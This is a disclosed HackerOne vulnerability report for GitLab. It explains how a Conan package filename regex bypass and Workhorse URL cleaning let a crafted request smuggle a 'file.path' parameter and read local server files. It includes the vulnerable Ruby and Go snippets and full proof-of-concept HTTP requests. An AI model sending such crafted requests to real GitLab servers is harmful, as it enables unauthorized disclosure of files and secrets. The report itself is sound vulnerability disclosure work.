Skip to content

Workhorse bypass by using Conan Repository leading to file disclosures

HackerOne report #923027 by ledz1996 on 2020-07-14, assigned to @jeremymatos:

Summary

There exists a vulnerability in Conan packages API that could lead to sensitive file disclosure. Similar to #908796 and #876998
This is due to invalid validation of Grape

First of all this regex can be bypass if adding additional character to the end:

lib/gitlab/regex.rb

  module Regex  
    module Packages  
      CONAN_RECIPE_FILES = %w[conanfile.py conanmanifest.txt].freeze  
      CONAN_PACKAGE_FILES = %w[conaninfo.txt conanmanifest.txt conan_package.tgz].freeze

      def conan_file_name_regex  
        [@]conan_file_name_regex ||=  
          %r{\A#{(CONAN_RECIPE_FILES + CONAN_PACKAGE_FILES).join("|")}\z}.freeze  
      end  

It is used in

ee/lib/api/conan_packages.rb

        params do  
          requires :conan_package_reference, type: String, desc: 'Conan Package ID'  
          requires :package_revision, type: String, desc: 'Conan Package Revision'  
          requires :file_name, type: String, desc: 'Package file name', regexp: Gitlab::Regex.conan_file_name_regex  
        end  
        namespace 'package/:conan_package_reference/:package_revision/:file_name', requirements: FILE_NAME_REQUIREMENTS do  
          desc 'Download package files' do  
            detail 'This feature was introduced in GitLab 12.5'  
          end  
          route_setting :authentication, job_token_allowed: true  
          get do  
            download_package_file(:package_file)  
          end  

The following string would match the condition regexp: Gitlab::Regex.conan_file_name_regex :

conanfile.pytestsetsetsetsetsetsetsetest/./.  

Additionally because of the multiple usage of validation the 2nd condition requirements: FILE_NAME_REQUIREMENTS seem to be ignored probably of Grape bug

so the following string would match the condition

conanfile.py.git%2fgit-upload-pack  

Because Workhorse literally Clean the URL before comparing with all the predefined rules, so the following URL

POST /api/v4/packages/conan/v1/files/Hello/0.1/rrr+test_project/test/0/package/0ab9fcf606068d4347207cc29edd400ceccbc944/0/conanfile.py.git%2fgit-upload-pack  

internal/upstream/routes.go

        route("POST", gitProjectPattern+`git-upload-pack\z`, contentEncodingHandler(git.UploadPack(api)), withMatcher(isContentType("application/x-git-upload-pack-request"))),  

This would allow me to slip in file.path for Creating UploadedFile

Steps to reproduce

  1. Get a Private-Token for the API usage
  2. Send the following sample request to get a Bearer token for Conan APIs
GET /api/v4/packages/conan/v1/users/authenticate HTTP/1.1  
Host: gitlab.example.vm  
User-Agent: Conan/1.25.2 (Python 3.6.9) python-requests/2.23.0  
Accept: */*  
Connection: close  
X-Client-Anonymous-Id: 6f13b862f0ec81ebc7adb821fb111486d7228df7  
X-Client-Id: rrr  
Authorization: Basic cnJyOk1uWHNfdzdHenFRUUxGdHNjQmFp  

cnJyOk1uWHNfdzdHenFRUUxGdHNjQmFp is base64 of username:token
3. For testing create a file named /tmp/test.hehe as git user in gitlab instance.
4. Send the following request with replacement:

  • to be replaced into +. For example if you want to push the package into projecttemp of user test123 it would be temp+test123
  • to be replaced into token get from the 2nd step.
POST /api/v4/packages/conan/v1/files/Hello/0.1/<project-syntax>/test/0/package/0ab9fcf606068d4347207cc29edd400ceccbc944/0/conanfile.py.git%2fgit-upload-pack?_method=put&&file.path=/tmp/test.hehe HTTP/1.1  
X-HTTP-Method-Override: put  
Host: gitlab.example.vm  
User-Agent: Conan/1.25.2 (Python 3.6.9) python-requests/2.23.0  
X-Checksum-Sha1: 50e8c96c3f54fe17d5b23370da21df095e16bcb2  
Content-Length: 148  
Authorization: Bearer <bearer-token>  
Content-Type: application/x-git-upload-pack-request  
Accept: application/x-git-upload-pack-result  
Git-Protocol: version=2  
Connection: close

0014command=ls-refs  
0014agent=git/2.26.200010009peel  
000csymrefs  
0014ref-prefix HEAD  
001bref-prefix refs/heads/  
001aref-prefix refs/tags/  
0000  
  1. Content of /tmp/test.hehe will be available in the Package Registry section of the

bandicam_2020-07-14_10-43-45-341.mp4

Prepared a video for this: gitlab-workhr-poc1.PNG

Results of GitLab environment info

System information  
System:		Ubuntu 16.04  
Proxy:		no  
Current User:	git  
Using RVM:	no  
Ruby Version:	2.6.6p146  
Gem Version:	2.7.10  
Bundler Version:1.17.3  
Rake Version:	12.3.3  
Redis Version:	5.0.9  
Git Version:	2.27.0  
Sidekiq Version:5.2.7  
Go Version:	unknown

GitLab information  
Version:	13.1.3-ee  
Revision:	68484131370  
Directory:	/opt/gitlab/embedded/service/gitlab-rails  
DB Adapter:	PostgreSQL  
DB Version:	11.7  
URL:		http://gitlab.example.vm  
HTTP Clone URL:	http://gitlab.example.vm/some-group/some-project.git  
SSH Clone URL:	git@gitlab.example.vm:some-group/some-project.git  
Elasticsearch:	no  
Geo:		no  
Using LDAP:	no  
Using Omniauth:	yes  
Omniauth Providers: saml

GitLab Shell  
Version:	13.3.0  
Repository storage paths:  
- default: 	/var/opt/gitlab/git-data/repositories  
GitLab Shell path:		/opt/gitlab/embedded/service/gitlab-shell  
Git:		/opt/gitlab/embedded/bin/git  

Impact

Workhorse bypass to use UploadedFile to disclose any file within the allowed path.

Attachments

Warning: Attachments received through HackerOne, please exercise caution!